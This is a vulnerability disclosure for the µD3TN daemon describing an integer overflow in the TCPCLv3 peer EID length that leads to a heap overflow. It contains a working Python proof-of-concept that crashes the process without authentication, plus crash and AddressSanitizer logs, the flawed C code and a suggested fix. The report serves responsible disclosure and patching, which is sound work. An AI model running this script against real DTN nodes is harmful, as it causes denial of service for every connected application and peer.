This was reported by Andrei Visoiu via email. Thanks! --- ## Description The TCPCLv3 code has an integer overflow vulnerability where a very large peer EID length causes an overflow that wraps it to zero before it is used for a heap allocation. The EID length is stored as a `uint32_t`. If a peer sets it to `UINT32_MAX`, the expression `peer_eid_len + 1` wraps to zero. µD3TN therefore calls `malloc(0)`, but then asks `recv` to copy the original length into the returned buffer. This happens during the initial TCPCLv3 handshake so an unauthenticated client can exploit to realiably terminate the process. I reproduced this against the current upstream `master` branch at commit: ```text ea56c6fb695044b1d05b965b545760ad36da25a1 ``` The same allocation is also present in the initial uPCN v0.8.0 import from 2020, so this appears to be a long-standing issue. ## Steps to reproduce I used a normal Linux/glibc build without changing the µD3TN source. Start the daemon: ```sh cd ~/ud3tn make posix make run-posix ``` Run the reproducer from another terminal: ```sh python3 tcpclv3_eid_length_overflow.py ``` The reproducer is: ```py #!/usr/bin/env python3 import argparse import socket CONTACT_HEADER = b"dtn!\x03\x00\x00\x00" UINT32_MAX_SDNV = b"\x8f\xff\xff\xff\x7f" def main(): parser = argparse.ArgumentParser() parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=4556) parser.add_argument("--overflow-bytes", type=int, default=4096) args = parser.parse_args() if args.overflow_bytes <= 0: parser.error("--overflow-bytes must be positive") with socket.create_connection((args.host, args.port), timeout=3) as connection: server_header = connection.recv(4096) if not server_header.startswith(b"dtn!\x03"): raise RuntimeError("target did not send a TCPCLv3 contact header") connection.sendall( CONTACT_HEADER + UINT32_MAX_SDNV + b"A" * args.overflow_bytes ) connection.shutdown(socket.SHUT_WR) print( f"sent UINT32_MAX EID length and {args.overflow_bytes} attacker bytes " f"to {args.host}:{args.port}" ) if __name__ == "__main__": main() ``` The script sends a valid TCPCLv3 contact header, an SDNV containing `UINT32_MAX`, and 4,096 controlled bytes. It then closes its write side. On the Linux system, the regular build terminates with: ```text [Mon Sep 14 10:29:28 2026] [INFO] INIT: uD3TN starting up... [components/ud3tn/init.c:39] [Mon Sep 14 10:29:28 2026] [INFO] INIT: Configured to use EID "dtn://ud3tn.dtn/" and BPv7 [components/ud3tn/init.c:61] [Mon Sep 14 10:29:28 2026] [WARNING] AgentManager: No AAP 2.0 secret specified - all clients can dispatch and control the FIB! [components/ud3tn/agent_manager.c:60] [Mon Sep 14 10:29:28 2026] [INFO] BundleProcessor: BPA initialized for "dtn://ud3tn.dtn/", status reports disabled [components/ud3tn/bundle_processor.c:258] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for receiving ADUs registered for sink_id echo with no. 1 [components/ud3tn/agent_manager.c:227] [Mon Sep 14 10:29:28 2026] [INFO] TCP: CLA tcpclv3 is now listening on [127.0.0.1]:4556 [components/cla/posix/cla_tcp_common.c:180] [Mon Sep 14 10:29:28 2026] [INFO] AppAgent: Listening on /tmp/ud3tn-repro/p.socket [components/agents/posix/application_agent.c:668] [Mon Sep 14 10:29:28 2026] [INFO] AAP2Agent: Listening on /tmp/ud3tn-repro/p2.socket [components/aap2/aap2_agent.c:1701] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for receiving ADUs registered for sink_id config with no. 2 [components/ud3tn/agent_manager.c:227] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for receiving FIB entries registered with no. 2 [components/ud3tn/agent_manager.c:253] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for dispatching bundles registered with no. 2 [components/ud3tn/agent_manager.c:301] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for modifying FIB entries registered with no. 3 [components/ud3tn/agent_manager.c:253] [Mon Sep 14 10:29:28 2026] [INFO] AgentManager: Agent for dispatch RPC registered with no. 3 [components/ud3tn/agent_manager.c:301] [Mon Sep 14 10:30:00 2026] [INFO] TCP: Connection accepted from 127.0.0.1:47644 (via CLA tcpclv3)! [components/cla/posix/cla_tcp_common.c:225] Fatal glibc error: tzfile.c:752 (__tzfile_compute): assertion failed: strcmp (&zone_names[info->idx], __tzname[tp->tm_isdst]) == 0 Aborted exit status: 134 ``` An AddressSanitizer build reports a heap-buffer-overflow. ```text [Mon Sep 14 10:30:46 2026] [INFO] INIT: uD3TN starting up... [components/ud3tn/init.c:40] [Mon Sep 14 10:30:46 2026] [INFO] INIT: Configured to use EID "dtn://ud3tn.dtn/" and BPv7 [components/ud3tn/init.c:62] [Mon Sep 14 10:30:46 2026] [WARNING] AgentManager: No AAP 2.0 secret specified - all clients can dispatch and control the FIB! [components/ud3tn/agent_manager.c:60] [Mon Sep 14 10:30:46 2026] [INFO] BundleProcessor: BPA initialized for "dtn://ud3tn.dtn/", status reports disabled [components/ud3tn/bundle_processor.c:255] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for receiving ADUs registered for sink_id echo with no. 1 [components/ud3tn/agent_manager.c:227] [Mon Sep 14 10:30:46 2026] [INFO] TCP: CLA tcpclv3 is now listening on [127.0.0.1]:4556 [components/cla/posix/cla_tcp_common.c:181] [Mon Sep 14 10:30:46 2026] [INFO] AppAgent: Listening on /tmp/ud3tn-repro/u.socket [components/agents/posix/application_agent.c:665] [Mon Sep 14 10:30:46 2026] [INFO] AAP2Agent: Listening on /tmp/ud3tn-repro/u2.socket [components/aap2/aap2_agent.c:1696] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for receiving ADUs registered for sink_id config with no. 2 [components/ud3tn/agent_manager.c:227] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for receiving FIB entries registered with no. 2 [components/ud3tn/agent_manager.c:253] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for dispatching bundles registered with no. 2 [components/ud3tn/agent_manager.c:301] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for modifying FIB entries registered with no. 3 [components/ud3tn/agent_manager.c:253] [Mon Sep 14 10:30:46 2026] [INFO] AgentManager: Agent for dispatch RPC registered with no. 3 [components/ud3tn/agent_manager.c:301] [Mon Sep 14 10:30:52 2026] [INFO] TCP: Connection accepted from 127.0.0.1:40732 (via CLA tcpclv3)! [components/cla/posix/cla_tcp_common.c:226] ================================================================= ==527223==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003011 at pc 0x7c3da507b325 bp 0x7c3d9b6ccb30 sp 0x7c3d9b6cc2d8 ``` ## Vulnerable code The EID length is parsed here in `components/cla/posix/cla_tcpclv3.c`: ```c uint32_t peer_eid_len = 0; ... sdnv_read_u32(&sdnv_state, &peer_eid_len, cur_byte); ``` It is then used for the allocation and receive operation: ```c char *eid_buf = malloc(peer_eid_len + 1); ... tcp_recv_all(socket, eid_buf, peer_eid_len); ``` With `peer_eid_len == UINT32_MAX`, the allocation size wraps to zero while the receive length remains `4294967295`. ## Impact An unauthenticated network client can corrupt the daemon heap before bundle parsing begins. The provided Python script reliably terminates the process, causing loss of service for every connected application and peer. Suggested CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` — **7.5 High** Relevant CWEs: CWE-190 and CWE-122. ## Platform note I reproduced the memory corruption on Linux/glibc. On native macOS, `recv` rejects this unusually large length with `EINVAL`, so the same request does not perform the overflowing copy. The integer wrap is still present in the source. ## Suggested fix Reject unreasonable EID lengths before allocating memory, and convert the length to `size_t` before adding one. For example: ```c if (peer_eid_len > TCPCLV3_MAX_PEER_EID_LENGTH) return UD3TN_FAIL; const size_t allocation_size = (size_t)peer_eid_len + 1; char *eid_buf = malloc(allocation_size); ```